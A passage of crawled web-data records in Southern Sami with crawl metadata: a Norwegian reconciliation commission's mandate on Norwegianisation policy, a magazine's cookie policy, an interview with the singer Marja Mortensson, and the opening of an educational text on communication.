0.011066077277064323}","num_words":106,"character_repetition_ratio":0.077,"word_repetition_ratio":0.0,"special_characters_ratio":0.171,"stopwords_ratio":0.066,"flagged_words_ratio":0.0,"lang_id_score":0.988,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mierieh\nKommisjovnen nomme lea «Kommisjovne mij galka daaroedehtemem, bïedtemem jïh båastoem saemiej, kvænaj jïh suemieladtji vööste goerehtidh (saetniesvoete- jïh liktemekommisjovne).\nVåarome\nNöörjen reereme lea tïjjeboelhkine 1900-låhkoen mïnngiegeatjan politihkem tjirrehtamme saemiej, kvænaj jïh suemieladtji vööste, mij garre dïjpi dej gïelide, identiteetem jïh jieledebiejjieh. Daate jis politihke daamhtaj daaroedehtemen-politihkine gohtedåvva.\nDovne reaktaj muhteste jïh fïerhtenbeajjetje tsiehkiej muhteste hov lea daej mïnngemes golmeluhkie jaepiej doekoe ovmese-laakan voejhkelamme daam staeriedidh.\nMïnngemes 30 jaepiej joe lea joekoen saemiej reaktah nænnoestamme ovmese laaki, institusjovni tjirreh. Laake Saemiedigkien bïjre jïh jeatjah saemien reaktatsiehkieh (saemienlaake) hov bööti 1987, jïh Saemiedigkie rïhpelgovvi 1989. Staaten dïedte gïehtjedidh saemiej reaktah jïjtse kultuvrem, gïelem jïh siebredahkejieledem evtiedidh hov Maadthlaakesne tjaalasovvi 1988. Jaepien 1990 Nöörje lij voesteges rijhke mij ILO-konvensjovnen nr.169, iemiealmetji reaktaj bïjre, nænnoesti. Finnmarhkenlaake jaepien 2005, edtja gïehtjedidh ahte eatnemen veeljiem fylhken almetji bueriemasse båata, jïh joekoen seatadidh saemien kultuvrem, båatsiem jïh mïehtsiestalleme jïh siebredahkejielede (§ 1). Staate aaj lea aanteges vaeteme altese ovtetje politihken åvteste saemiej vööste.\nJuktie Nöörje lea Europaraerien mieriekonvensjovnem åeliedamme, gïehtjedidh nasjovnale unnebelåhkojde gorredidh 1995, mij Nöörjesne nænnoestin 1999, dellie kvænah\/suemieladtjh aaj staatusem nasjovnaale unnebelåhkojne åadtjoejin. Kvænaj gïele aaj unnebelåhkoegïeline Nöörjesne nænnoestovvi 2005.\nMohte daate ij staarnedehth haevide mij lea båateme dïedtelgimmeste, jïh annje leah verteminie saemiej jïh kvænaj\/suemieladtji luvnie, jïh mij dagke annje klaerede ektievoetem jïjnjebhlåhkoen almetji muhteste.\nJaepiej tjirreh hov lea vaejtiem sjïdteme aktem byjjehks kommisjovnem tseegkedh mij galka gïehtjedidh dam båajhtoem mij lea båateme daaroedehtemen-politihkeste, juktie jeatjah rijhkine hov leah aaj dagkerh kommisjovnh bïejeme. Saemiedigie lea meatan orreme eadtjoestamme dagkerem tseegkedh. Stoerredigie nænnoesti ruffien 20.b. 2017 kommisjovnem tseegkedh, gd. Tjaalege 8:30 S (2016–2017) jïh Nænnoest. 493 S (2016–2017).\nAamhtese\nAamhtese kommisjovnen barkosne lea nöörjen reeremi daaroedehteme-politihkem saemiej jïh kvænaj\/suemieladtji vööste gïehtjedidh, jïh goerehtidh guktie daate politihke lea almetjh doehteme, dåehkieh dijpeme, jïh guktie lea ektievoetem jïjnjebhlåhkose klaeriedamme. Kommisjovne edtja voestes iereste gaavnedh guktie daaroedehtemen politihke lea heerreme saemiej jïh kvænaj\/suemieladtji nuepieh jïjtsh gïelide soptsestidh, kultuvrh jïh jïeledevuekieh evtiedidh. Daennie sïenten kommisjovne aaj galka gïehtjedidh guktie daaroedehtemen ussjelivuekie lea jïjnjebh-låhkosne dabranamme – laavsemem jïh dïedtelgimmiem eevtjeme saemiej jïh kvænaj\/suemieladtji vööste.\nUlmie\nGoerehtimmien ulmie lea våaromemem bïejedh, guktie vuaptan darjodh saemiej jïh kvæmaj\/suemieladtji dååjrehtsh nöörjen reeremi politihken nuelesne, jïh guktie lea almetjh vuj dåehkieh dijpeme. Aajkoe hov lea ektielaaketje vuerkiem buektedh, maa guktie nöörjen siebredahke lea saemiej jïh kvænaj kultuvrem dïedtelamme.\nGoerehtimmie galka åvtese aaj gïehtjedidh. Åejvieulmie hov lea ahte kommisjonen barkoe galka ektielaaketje vuerkiem buektedh, man garre daaroedehtemen politihke sjïdti, jïh nimhtie våaromem nænnoestidh mestie gåerede searanimmiem evtiedidh, saemiej, kvænaj\/suemieladtji jïh jïjnjebh-låhkoen gaskem.\nLaavenjassh\nKommisjovnen laavenjasse lea guelmien-gierten.\nHistovrijem vuesiehtidh\nKommisjovnen vihkielommes laavenjasse lea gïehtjedidh jïh buerkiestidh daaroen politihke jïh råajvarimmie saemiej jïh kvænaj\/suemieladtji muhteste, ovmese sijjine jïh abpe rïjhkesne, 1800-låhkoste jïh veele daan beajjan. Jis gaavna daerpies dellie kommisjovne aaj maahta guhkebe bååstide gïehtjedidh. Kommisjovne edtja dotkedh jïh åvtese buektedh ideologijem jïh magkerh åssjalommesh lij dan politihken duekesne, guktie jis politihkem tjirrehtin, jïh guktie almetjh dijpin. Jis kommisjovne gaavna naan aamhtese mij åtna joekoen vihkeles gietskebe gïehtjedidh, dellie maahta dam tjamkebe goh jeatjah bielieh vierhtiedidh. Kommisjovne edtja sjïere vuartasjidh guktie skovline orreme, mohte aaj religijovnen vuekieh, jïh jeatjah ööhpehtimmie-organisasjovni, jïh sosiaale siebriej råajvarimmieh gïehtjedidh.\nKommisjovne edtja maaje ovmese-voetem fïerhtene dåehkine seatadidh, mohte aaj joekehtside dåehkiej gaskem. Ideologijen vuekieh jïh politihke saemiej kvænaj\/suemieladtji vööste idtjin aktelaaketje almetjh dïjph, jïh ij gænnah nimhtie daej dåehkiej sisnie. Dan lissine aaj geograafihke joekehtsh. Dotkemebarkoe mij joe lea dorjesovveme maaje vuesehte ahte kvænah\/suemieladtjh jïh saemieh gieh vööjnin rastaorrijh lin, dah aaj garrebe dïedtelgovvin daan politihken nuelesne. Kommisjovne tjoevere daennie barkosne vuaptan årrodh ahte dovne ulmieh lin joekehth, ideologijen vuajnoeh jïh praktihke gïetedalleme aaj maahtetje joekehthlaakan orreme ovmese dåehkine, jïh dåehkiej sisnie, mejtie lin gaarmanæjjah nyjsenæjjah jnv.\nKommisjovne aaj edtja gïehtjedidh guktie daaroedehtemen politihke lea klaeriedamme jïjnjebhlåhkoen vuajnoe saemiej kvænaj\/suemielatji vööste, jïh daej dåehkiej jïjtse vuajnoe jïjtjedh kultuvren, gïelen jïh guejmiej muhteste. Nov aaj edtja kommisjovne gïehtjedidh guktie daaroedehtemen politihke lea almetjh dïjpeme, jïh magkerh dorjemesh lea tseegkedovveme reaktan tjirreh, daam politihkem staeriedidh. Kommisjovne edtja voejhkelidh daejtie dorjemsidie vierhtiedidh, maa guktie leah dåehkide dïjpeme.\nKommisjovne edtja voejhkelidh almetji dååjrehtsh jïh soeth åvtese buektedh, jïh nuepiem vedtedh almetjidie akti akti jïjtsh dååjrehtsh soeth juekedh, jïh aaj sopsestih ovreaktah, båastoevoetem jïjtjemen vööste, vuj jeatjabi laeviej vööste. Jïh aaj soptsestidh guktie båajhtoevoete lea sijjien jieledetsiehkieh dïjpeme.\nGïehtjedidh daaroedehteme-politihken båånesjimmie daejbaelie\nGosse lea gïehtjedamme histovrijen evtiedimmie, jïh almetji dååjrehtsh, dellie edtja kommisjovne aaj vuartasjidh daaroedehteme-politihken båånesjimmie daejbaeliej, voestes ïereste guktie gïelen jïh kultuvren tsiehkieh dïjpeme, mohte aaj guktie materielle jïh sosiaale tsiehkieh, nov goh healsoem jïh identiteetem klaeriedamme, maaje dåehkine jïh almetjen jïjtse jieledetsiehkieh. Kommisjovne edtja vijriebasse aaj gïehtjedidh daaroedehtemen båånesjimmie daaletji siebredahkine, vuesiehtimmien gaavhtan væssjoehtimmien-jiehtesh jïh dïedtelgimmie.\nUvielassh guktie liktemem jaaksedh\nKommisjovne edtja uvtielidh maa guktie gåerede buektiehtidh buerebe tsiehkieh jïjnjebh- jïh unnebelåhkoej aalmetji gaskem. Jïh aaj uvtielidh naan darjomesh mah guktie maahtoem nænnoestidh siebredahkesne, ööhpehtidh saemiej kvænaj\/suemieladtji kultuvrem, jïh guktie lea daaletji. Aktem vuesiehtimmiem lea vijriebasse barkedh saemien, kvænaj\/suemieladtji gïele-, jïh kultuvrebarkoem evtiedidh, mohte aaj bïevnedidh jïh ööhpehtidh daaroedehtemen båajhtoem jïjnjebhlåhkose. Daennie sïenten hov lea iemie ahte kommisjovne aaj vierhtede searadehtemen-råajvarimmide mah joe leah tseegeldihkie.\nJuktie tseegkedh aktem ektielaaketje guarkoem vaaseme aejkijste lea kommisjovnen åejvieulmie, jïh aaj stuerebe maahtoem buektedh. Dannasinie kommisjovne edtja reektedimmien mænngan aaj ohtsedidh vierhtieh mejgujmie gåerede maahtoem soptsestalledh. Dam badth gåerede darjodh gaskeviermien tjirreh, jïh ektiebarkoen viehken siejhme meediaj tjirreh, jïh aaj jeatjah vuekine jis kommisjovnen mietie åajvoeh\nVuekie\nKommisjovne edtja veele jïh gietskies ektiebarkoem evtiedidh dej byjreski, organisasjovni gujmie mah leah dïjpedamme, guktie åadtjoejieh meatan årrodh soptsestalledh daennie barkosne. Dan gaavhtan kommisjovne edtja vuartasjidh mejtie daerpies aktem vuj jeenjebh referaansedåehkieh tseegkedh, vuj naan jeatjhlaaketje ektiebarkoe-dåehkie gusnie almetjh meatan daej siebredahkijste, organisasjovnijste.\nKommisjovne byöroe dovne njaalmeldh jïh tjaaleldh gaaltijh nuhtjedh. Jis dle daerpies dellie kommisjovne galka tåalhkem nuhtjedh gosse almetjigujmie soptseste. Aaj gåerede baajedh almetjh jeatjah vuekine soptsestalledh, guktie jïjnjebh almetjh åadtjoejieh nuepiem soptsestidh.\nKommisjovne galka gïehtjedidh dam dotkemebarkoem mij joe gååvnese daan aamhtesen bïjre, jïh dam maadthvåaromine utnedh jïjtse barkosne. Jis kommisjovne gaavna mij joem fååtese daennie dotkemisnie, dellie maahta jïjtje vuj ektiebarkiji viehken våårkoeh vuj jeatjah materiaalem goerehtidh ihke guvviem illedh, jïh aamhtesem veele buerkiestidh. Kommisjovne aaj maahta eadtjoestidh jïjnjebe vijrebe dotkemem, ihke kommisjovnen ulmieh illedh.\nKommisjovne galka almetji, dåehkiej soeth tjöönghkedh dan daaroedehteme-politihken nueleste. Dam maahta darjodh tjåanghkosne, vuj gihtjedimmien tjirrh, jïh aaj baajedh almetjh jïjtsh sotide tjaalegine, tjoeje-baedtine, vuj naan jeatja vuekine vedtedh. Gosse dagkerh soeth tjöönghkedh, dellie maahta faagealmetjh nuhtjedh naan dotkeme-, vuj ektiebarkoe-organisasjovneste. Nimhtie hov kommisjovne åådtje almetji jïjtse guarkoem jïh histovrijem seatadidh.\nSeamma-laaketje goerehtimmiebarkoe lea aalkeme, vuj soejkesjeminie Suemesne jïh Sveerjesne. Kommisjovne eevtjedåvva noerhterijhki vuajnemehaeriem måjhtajidh, jïh aaj voejhkelidh åahpanidh barkoeguejmiej-gujmie dej mubpie rijhkine.\nTjöönghkeme materiaalem galka Arkivveerhkese bïejedh kommisjovnen barkoeboelhken mænngan. Juktie dïeves saajrohts bïevnesh daennie materiaalesne, dellie daerpies eensi våårhkosne dam vöörhkedh, bïevnedæjjaj jearsoesvoeten gaavhtan. Seamma sïenten aaj lea vyörhteges bïevnesh vijrebe dotkemasse daan barkoen mænngan, juktie byöroe baajedh dotkemisnie dam nuhtjedh. Dannasinie tjoevere kommisjovnen våårhkoem klausulen nuelesne gorredidh, jïh sjïere njoelkedassh evtiedidh. Guktie jearsoesvoetem seatadieh, jïh dåajmijes vuekien dotkemasse baaja, gusnie almetji jearsoesvoetem gorredieh.\nKommisjovne eevtjedåvva lïhkedotkemem bööredh dan barkoetïjjen doekoe.\nMieriej sisnie\nVierhtieh mah leah daerpies kommisjovnen barkose båetieh staaten beetnehvårkojste.\nKommisjovnen lea sjïere sekretariaate.\nByjjehks reeremh jïh jeatjah barkijh dej nuelesne gelkieh dåårjehtidh, jïh viehkiem faaledh guktie kommisjovne maahta darjodh dam barkoem mij mandaatesne tjåådtje.\nKommisjovne edtja barkoem illedh eannan skïereden 1.b. 2022 jïh reektedimmiem vedtedh Stoerredigkien åvtehkidie.\nJis dle kommisjovnen mïelesne nuhtjeges, dellie maahta lehkie-reektehtsh aaj laehpedh barkoejaepiej doekoe.","id":"","dump":"CC-MAIN-2020-05","url":"https:\/\/es.uit.no\/kommisjonen\/mandat_%C3%A5s","date":"2020-01-29T14:35:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579251799918.97\/warc\/CC-MAIN-20200129133601-20200129163601-00280.warc.gz","language":"sma","language_score":1.0000060797,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 1.000006079673767}","num_words":1186,"character_repetition_ratio":0.083,"word_repetition_ratio":0.0,"special_characters_ratio":0.142,"stopwords_ratio":0.134,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bïevnesekaapselh (cookies)\nSámi magasijne (SÁM) bïevnesekaapselh (cookies) nuhtjie juktie digitaale bæjhkoehtimmieh jïh vuelebe dïenesjh sjïehteladtedh jïh guhkiebasse evtiedidh (minngiebisnie aaj ållermaahteme goh \"digitaale vuekieh\"). Bïevnesekaapselh leah smaave bïevnesefijlh mah vöörhkesuvvieh dov daatovrisnie jïh lea man åvteste dov veeljemh jïh preferansh maehtieh vöörhkesovvedh mearan datne leah mijjen digitaale vuekiej sisnie.\nMÏSSE SÁM BÏEVNESEKAAPSELH NUHTJIE\nMijjieh uvtemes bïevnesekaapselh analyjsi gaavhtan nuhtjebe, daan nuelesne trafihkem jïh åtnoem mijjen dïenesjijstie mööledh. Bïevnesekaapselh aaj åtnasuvvieh maarhkedoekemen sjïekenisnie, gaskem jeatjah juktie maehtedh sisvegem jïh annonsh bööremeslaakan ulmien vööste stuvredh, vuesiehtimmien gaavhtan stuvredh man gellien aejkien datne aktem annonsem åadtjoeh jïh jeatjah statistihkese utnijeprofijlese. Mijjieh aaj Facebook-pikselh nuhtjebe daan åssjelasse. Mijjieh aaj bïevnesekaapselh nuhtjebe juktie funksjonaliteetem jïh kvaliteetem bueriedidh mijjen sæjrojne. Såemies vuesiehtimmieh mïsse bïevnesekaapselh nuhtjebe:\n- Sïejhme statistihke mijjen digitaale vuekide\n- Utnije-ID, juktie maehtedh vuesiehtimmiem darjodh gie datne leah\n- \"Mujhtieh mannem\"-funksjonaliteete sïjseloggadæmman\n- Luhpiestuvreme (luhpiem vedtedh digitaale vuekide mejtie datne dongkeme)\n- Bijjieguvvieh dej saernieprieviej bijjeli mejtie datne dongkeme\n- Effektemööleme annonsijste dejtie mah annonside bæjhkoehtieh\nOVMESSIE SÅARHTS BÏEVNESEKAAPSELH, FACEBOOK-PIKSELH JÏH NEW RELIC\nGellie såarhts bïevnesekaapselh gååvnesieh, mejtie nuhtjebe mijjen digitaale vuekine.\nSesjovnejearohke bïevnesekaapselh:\nDoh sesjovnejearohke bïevnesekaapselh gaarvanieh dallah gosse datne nedtelohkijem jamhkelh. Mijjieh dagkerh bïevnesekaapselh nuhtjebe gaskem jeatjah juktie registreradidh datne leah mijjen digitaale vuekiej sisnie, jïh juktie daejredh guktie datne svihtjh gosse leah sæjrosne\"Min side\/Mov sæjroe\".\nVihties bïevnesekaapselh:\nDaah bïevnesekaapselh åtnasuvvieh gosse edtja bïevnesh veedtjedh autentiseradimmien, gïeleveeljemi jïh jeatjah preferansi jïh veeljemi bïjre. Vihties bïevnesekaapselh eah gaarvenh gosse datne nedtelohkijem jamhkelh, men akten vihties vadteme biejjien jallh gosse jïjtje dejtie heajhtah. Gosse vihties bïevnesekaapselh nuhtjebe maehtebe hoksedh åtnoe mijjen digitaale vuekijste verkebe jåhta jïh leah buerebelaakan dov preferanside sjïehtedamme mubpien aejkien datne sïjse loggedh. Mijjieh vuesiehtimmien\ngaavhtan vihties bïevnesekaapselh nuhtjebe juktie dov sïjseloggadimmiem mujhtedh, dov åtnoem Samimag.no´ste gïehtjedidh, jïh mujhtedh man guhkiem mænngan datne leah gyhtjelassh åådtjeme saernieprievieh åadtjodh.\nFacebook-pikselh:\nMijjieh Facebook-pikselh nuhtjebe Samimag.no´sne. Piksele akte kodabiehkie mij lea bïejesovveme mijjen nedtesæjrose, jïh man åvteste mijjieh maehtebe datnem jaksedh mijjen annonsigujmie Facebookesne mænngan datne leah sæjroem Samimag.no vååksjeme.\nNew Relic:\nSamimag.no aaj daatah seedtie sæjjan New Relic. Daah daatah åtnasuvvieh ajve servermonitoradimmien gaavhtan, jïh eah naan persovnedaatah jallh jeatjah bïevnesh utnieh mah utnijem damtijieh.\nBÏEVNESEKAAPSELH GÅALMEDEGUEJMESTE\nMijjieh gåalmedeguejmiebïevnesekaapselh nuhtjebe mah maehtieh dovne staeries jïh sesjovnejearohke årrodh. Bïevnesekaapselh mubpijste bïejesuvvieh goh Sámi magasijne, jïh åtnasuvvieh sïejhmelaakan mijjen annonsigujmie ektine mijjen digitaale vuekine (vuesiehtimmien gaavhtan Google Analytics\/GTM, Adtech). Guhkiebasse, jis svaalhtesidie deadtah mah leah deelleme gåalmedeguejmijste, krïevenassh dagkerh gåalmedeguejmiesæjrojde sijhtieh faamosne årrodh, aaj krïevenassh bïevnesekaapselidie. Dah mah annonside bæjhkoehtieh luhpiem åadtjoeh bïevnesekaapselh mijjen luvnie bïejedh juktie effektem mööledh sijjen annonsijste. Daate lea gaertjiedamme tjeakoes daatide, jïh ij gåaredh datnem damtijidh dej daataj tjïrrh. Mijjieh striengkies njoelkedassh utnebe guktie dagkerh gåalmedeguejmieh maehtieh daatah nuhtjedh mijjen guessiej bïjre. Njoelkedassh gaskem jeatjah nænnoestieh bæjhkoehtæjja annonseste ij edtjh maehtedh utnijen dåemiedimmiem damtijidh jïh dam våaroeminie utnedh profijlh tseegkedh akten ulmiestuvreme maarhkededoekemasse. Joekoen gille veajkoej Morgenbladet maahta luhpiem vedtedh sïjse tjöönghkeme daatah nuhtjedh maarhkededoekemasseåssjelidie, vuesiehtimmien gaavhtan retargeting-darjomh akten gaertjiedamme boelhken.\nBÏEVNESEKAAPSELH OLKESE STEEGKEDH\nMaahtah saaht gåessie bïevnesekaapselh olkese steegkedh gosse dam veeljh dov nedtelohkijisnie. Mijjieh voerkelibie dïrregh gååvnesieh mah maehtieh goerehtalledh jïh\/jallh dutnjien bijjieguvviem vedtedh dej bïevnesekaapseli bijjeli mah åtnasuvvieh dejnie sæjrojne datne vaaksjoeh. Juktie vielie bievnesekaapseli bïjre lohkedh jïh guktie datne dejtie heajhtah, vuartesjh\nÅrroeh tsåatskeles såemies mijjen funksjovnijste jallh dïenesjijstie eah sïjhth fungeradidh dastegh datne veeljh bïevnesekaapselidie jamhkelidh. Dov nedtelohkije sæjhta vuesiehtimmien gaavhtan ij sïjhth mujhtedh dov sïjseloggadimmiem jïjtsistie dastegh bïevnesekaapselh leah jamhkelamme.","id":"","dump":"CC-MAIN-2020-05","url":"https:\/\/samimag.no\/sma\/content\/cookies","date":"2020-01-17T17:23:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579250589861.0\/warc\/CC-MAIN-20200117152059-20200117180059-00168.warc.gz","language":"sma","language_score":0.9999885559,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"sma_Latn_score\": 0.9999885559082031}","num_words":550,"character_repetition_ratio":0.104,"word_repetition_ratio":0.0,"special_characters_ratio":0.127,"stopwords_ratio":0.095,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jarkoestæjja\/oversetter: Ellen Bull Jonassen\nIdtjim vueliem dan gellien aejkien govlh maanabaelien, jïh ij gåessie gih naakeni gåetien ålkolen. Dah vueliem gåetien sisnie utniehtin, jïh sisnjemes gievlesne sov fuelhkesne. Skuvlesne naan gille maanavuelieh govlim, jïh mov lij åarjelsaemien voestesgïeline, men idtjim rikti daejrieh mij mov aerpievuekie lij.\nMarja Mortensson, 24 jaepien båeries dam jeahta, mij båatsoesïjtesne Engerdaelesne byjjeni. Dïhte aadtjen plaatam luajhteme laavlomigujmie jïh vueliejgujmie åarjelsaemien gïelesne, Lååje – Dawn. Daelie åehpies goh dïhte mij gïelem juajka maam ajve 1000 soptsestieh. Aaj akten vijries fealadimmien mænngan ålkoelaantesne. Jåarhkeskuvlesne eelki vueliem goerehtidh, jïh lea dovne upmejesaemien jïh jïjtse åarjelsaemien gïeleste pleenteme våarhkojste juktie maam joem gaavnedh mïsse maahta sov vueliem bigkedh.\n– Manne ohtselim musihkem jïjtjene ietniengïelesne govledh.\nMortensson Balladese jeahta satne ojhte jïjtsasse vuajna goh akte dejstie noere boelvijste mah heartoeh jïh væljoem utnieh åvtetje aejkien sïerredimmiem saemien kultuvreste staeriedidh. Men mohte jeenjesh dejstie noere naestijste stoerre mietiemoerine mah noerhtesaemien nuhtjieh, satne tjoeri vielie ohtsedidh. Pryövedh, juktie sov vueliem gaavnedh, jïh naestiem tsïhkijehtedh guktie aerpievuekie bïerkene.\nSæjhta vueliem sjugniedidh aarkebeajjan\n– Manne våarhkojne mïnnim, jïh leam lïereme jïh laavenjosteme Frode Fjellheimine.\nProfessovre jïh musihkedarjoje lea gaskem jeatjah åehpies juktie lea Disney-suksessese \"Frozen\", tjaaleme, men dïhte aaj eadtjohkelaakan åarjelsaemien kultuvreskaehtiem vaarjele.\nMarja buerkeste man hijven lea gosse maahta våarhkojde nuhtjedh, men tjuara aaj barkedh juktie aarkebiejjiem gaavnedh, dïhte jielije:\n– Manne jïjnjem lohkeme, jïh dan musihkefaageles bielien mietie vuartesjem, men barkeminie vueliem jielije darjodh, jïh guktie aarkebiejjien aerpievuekine sjædta. Mijjen vuelie dan joekoen sjeavohth orreme.\n–Men guktie dellie daajrah datne leah væjkele joejkestidh? Giejnie datne jïjtjemdh viertesth?\n–Im gåessie gænnah dam daejrieh. Men manne jïjnjem dejtie båeries aahkide våarhkojne goltelamme, jïh dej vuekiem leam jïjnjem heereme. Jïh dellie vuelie sjugniesåvva jïjtjene anatomijine ektine. Men im gåessie gænnah daejrieh mejtie reaktoe sjædta!\nPlaatesne aaj vaajestimmieh eengelsken gïelesne. Eevre veelelaakan jarkoestidh lea geervebe goh vaajestidh, vienhtieh, jïh vuesiehtimmien gaavhtan tihtelelaavlome naemhtie åehpiedehtieh.\nFïerhte lååje, sjïere aereds-ståante\nTjoevke jarkerostoe, tjelmieh haarjanieh\nmij sjædta\nEach dawn,\na precious time of unspoilt morning,\nthe light itself slowly changing its colours, the eyes\nadapting to the light of the rising sun\nLaavlomh plaatesne Lååje – Dawn leah laavenjostosne dorjesovveme Daniel Herskedaline, mij tubaem tjoejehte jïh lea musihkedarjoje. Dïhte musihkem dorjeme orkesterasse Trondheimsolistene, mij aaj lea meatan plaatesne. Orkesteren instrumeenth jïh Marjan \"orrestamme\" saemien laavlomevuekie tjåanghkan veevesuvvieh laavloeminie mah veartenen jieniebistie bielijste gaejieh; doedterh, jillege daajbaaletje tjoejh, symfonihkeles vuekieh seammalaakan goh orientaale jïh guhkede asiaateles vuekieh.\n–Dïhte arabeles, jallh orientaale maam govlh, lea rïektesisnie dejnie sjïere upmejesaemien melodijine, Mortensson jeahta.\n–Men tjïertestamme, otnjeginie dan arabeles vööste, Herskedal jeahta.\n–Akte tjerkebe jillege dominaanse komposisjovnine Danieleste desnie gusnie laavlome jïh ij vuelie, Mortensson lissehte.\nMan åvteste aktem dejstie gïelijste veartenisnie veeljedh mij lea geervemes jaksedh? Mah dïhte maereles jis dov lea earna dïjrine båetedh?\n–Marja joekoen væjkele ektiedimmien bïjre soptsestidh åvtelen lååvle jïh joejkeste. Mahte tjyölkehkåbpoe sjædta gosse dam åvtelhbodti daajrah, jïh dellie maahtah abpe elliesvoetem jarngesne utnedh, Herskedal veanhta.\nPlaatine ektine aaj eengelske jarkoestimmieh teekstijste.\n– Men åssjalomme gujht iktesth orreme musihkem vedtedh dejtie åarjelsaemien goltelæjjide jïjtsh gïelesne. Jïh dellie aaj dah mah eah gïelem haalvah maam akt orre – jallh maam akt båeries åadtjoeh – man bïjre idtjin maam gænnah daejrieh aarebistie, Mortensson meala.\nMarja Mortensson Spellemann-baalhkam åadtjoeji kategorijesne åålmehmusihke\/aerpievuekien musihke dæjman sov albumen åvteste Mojhtestasse – Cultural Heirlooms. Albume lij buerkiestamme goh stoerre tjeahpoe jïh bielie aktede vihkeles kultuvreaerpeste. Musihkejournaliste jïh –bievnije Audun Vinger Marjan laavlomem baakoejgujmie \"dan tjaebpie, dan jeatjahlaakan\" buerkiesti.\n200 baakoeh joekehts lopmesåarhtide (raaktan!)\nDatne inuihten bïjre govleme mij dan gellie lopmebaakoe utni? Åarjelsaemien gïelesne 200 baakoeh.\n–Jïh mijjen lea 17 joekehts bïernebaakoeh, Mortensson mojjehte.\n–Gellielaakan ektiedimmien bïjre eatnamasse tjaalam. Jïh desnie mijjen akte joekoen stoerre ræjhkoesvoete, eatnamisnie jïh eatnaminie jïh eatnaminie ektine jieledh. Jïh gellie baakoeh ektiedimmide almetji gaskem, Mortensson buerkeste. Mearan daajbaaletje suerkine, gaajhke digitaale, jallh dejnie orre siebriedahkesuerkine ij mijjen gïele annje rïeresjh.\n– Ihkuven aajkan sïjhtem barkedh åarjelsaemien tjiehpiedæjjagïeline evtiedidh. Ibie naan sjïere laantem utnieh misse maehtebe vuelkedh juktie åarjelsaemien daamtaj govledh. Musihke mov areenine sjædta akten gïelese man åvteste gæmhpoem evtiedidh.\nDïhte konstrueradamme eatnememusihkem dïervesje\n– Marja badth aerpievuekien guedtije mestie akt mij lea bïerkenamme bielelen dorjesovveme årrodh, meatanmusihkere Daniel Herskedal jeahta. Plaatesne datne gaskem jeatjah Danielem govlh aktine skaadtjoeh tubaine mij Balkanen jïh Orienten luvnie minnieh, lissine mijjen noerhteeuropejen symfonihkeles musihken luvnie.\n– Såemies haestemh jievkehtimmine vuelien taakten jïh strovhkeinstrumeenti taaktesåarhti gaskem. Vuelie lea vielie galkije, Mortensson buerkeste. Såemies aejkien dah leah tjoereme ånnetji goerehtidh juktie gaavnehtidh gåessie lea daerpies striengkieslaakan ryöknedh, jïh gåessie naakede maahta vielie galkije årrodh.\n– Men Danielen tjarke gïele vueliem aelhkieslaakan dååste.\n– Aajmoe dan sisnie sjædta, Herskedal buerkeste.\nDah guaktah spealadigan sijjesne Oslo World njieljie musihkerigujmie orkesteristie Trondheimsolistene golken 30.b.\nLES OGSÅ intervjuet på norsk: Brenner for sitt lille morsmål","id":"","dump":"CC-MAIN-2020-05","url":"http:\/\/www.ballade.no\/sak\/sov-onne-ietniengielen-avteste-gymhpe\/","date":"2020-01-18T11:42:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579250592565.2\/warc\/CC-MAIN-20200118110141-20200118134141-00360.warc.gz","language":"sma","language_score":0.9999710321,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"sma_Latn_score\": 0.9999710321426392}","num_words":758,"character_repetition_ratio":0.04,"word_repetition_ratio":0.0,"special_characters_ratio":0.148,"stopwords_ratio":0.094,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mijjieh govlesadtebe gosse sinsitnine soptsestallebe baakoejgujmie, væhtajgujmie jallh bokstaavigujmie. Daarpesjibie govlesadtedh gosse sïjhtebe maam akt ektesne mubpiejgujmie darjodh jallh sïjhtebe maam akt mubpide jiehtedh jallh govlesadtedh.\nGovlesadteme lea daaroen-gïelesne kommunikasjon jïh båata dehtie baakoste communicare latijnegïelesne, ektesne darjodh. Almetje sæjhta maam akt jeatjabinie ektine darjodh, jeatjabinie ektiedidh. Maehtebe aaj lööneme-baakoem kommunikasjovne saemien-gïelesne nuhtjedh.\nMij lea govlesadteme-maahtoe?\nMaana-baeleste mijjieh lïerebe guktie edtjebe dåemiedidh ovmessie tsiehkine. Lïerebe maam sjeahta jiehtedh, gïese, gåessie, guktie jïh man vuekien mietie. Daate vihkeles maahtoe maam gåhtjobe govlesadteme-maahtojne.\nGovlesadteme-tsiehkie\nBaakoe kontekste lea tjaaleginie ektine, ektine dam maam jeahteme jallh tjaaleme. Kontekste konkreteles tsiehkie gusnie govlesadtebe. Dovne tïjje, sijjie jïh dej almetji råållah leah bielieh govlesadtemistie. Naan aejkien privaate almetjinie gusnie gåetesne, voelpigujmie jnv. Mijjieh naan aejkien jeatjah råållah utnebe, v.g. skuvlesne. Dellie mijjieh libie learohkh jïh lohkehtæjjah, skïemtje-gåetesne libie dåakterh jïh skïemtjijh. Verbalehts govlesadteme gosse datne vuajnah dov voelpe aavosne jallh hujnesne, kråahpegïeline.\nGovlesadteme-tsiehkie gaajhkh biehkieh mah meatan, jïh mah ektesne nænnoestieh guktie aktem jiehtegem guarkah. Jis maahtah tjïjhtje aelhkies gyhtjelassh vaestiedidh dellie govlesadteme-tsiehkiem tjïelkesieh.\n- Gie soptseste\/tjaala? Seedtije\n- Maam soptseste\/tjaala? Sisvege\n- Gïese soptseste\/tjaala? Dåastoje\n- Gusnie dam soptseste\/tjaala? Meedijume\n- Gåessie dam soptseste\/tjaala? Tïjje\n- Mejnie jïh guktie dam soptseste\/tjaala? Viehkie-dïrregh\n- Mannasinie dam soptseste\/tjaala? Funksjovne\nJis jeahtah: \"Båetieh dellie!\" Dellie maehtebe daam joekehtslaakan toelhkestidh. Jis daam jeahtah gaske-jïjjen kaanne mij akt isveligke heannadamme. Jis daam jeahtah ålkone dellie kaanne sïjhth stååkedidh. Jis daam jeahtah gosse 